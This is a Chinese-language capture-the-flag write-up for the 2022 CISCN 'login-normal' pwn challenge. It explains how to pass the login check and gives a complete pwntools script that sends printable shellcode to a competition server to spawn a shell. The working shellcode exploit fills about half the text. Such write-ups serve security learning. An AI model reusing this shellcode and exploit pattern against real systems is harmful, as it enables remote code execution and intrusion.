2022 ciscn初赛 login-normal wp

2022-05-30

是一道shellcode的login题目,第一步是能够过掉登陆验证

分析输入可以知道,每次形式应该为 “opt:number\nmsg:aaaaaa\n\n”的形式

第二步是通过opt1使得认证能够通过,然后opt2 把可打印字符串放入mmap申请的chunk里执行即可。

这里有一个坑点,就是msg你得多输入一个字符,因为它会把后面的那个字符给滤掉,十分狗屎。

from pwn import *
context.log_level='debug'
context.arch='amd64'
io=remote("123.56.87.204",42944)
#io=process('./login')

io.recvuntil("=================")
#gdb.attach(io)
payload = b'opt:1\nmsg:ro0tt\n'
#gdb.attach(io)
io.sendline(payload)
#shellcode = shellcraft.sh()
shellcode=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
payload = b'opt:2\nmsg:'+shellcode+b'\n'
io.recvuntil(">>> ")
#gdb.attach(io)
io.sendline(payload)

io.interactive()

吐槽: 可打印shellcode可真难找(

另外两道pwn题…

llvm pwn我是真的不懂出了有什么意义,感觉就是为了pwn而pwn

那个libc 2.34的,没有找到好的资料….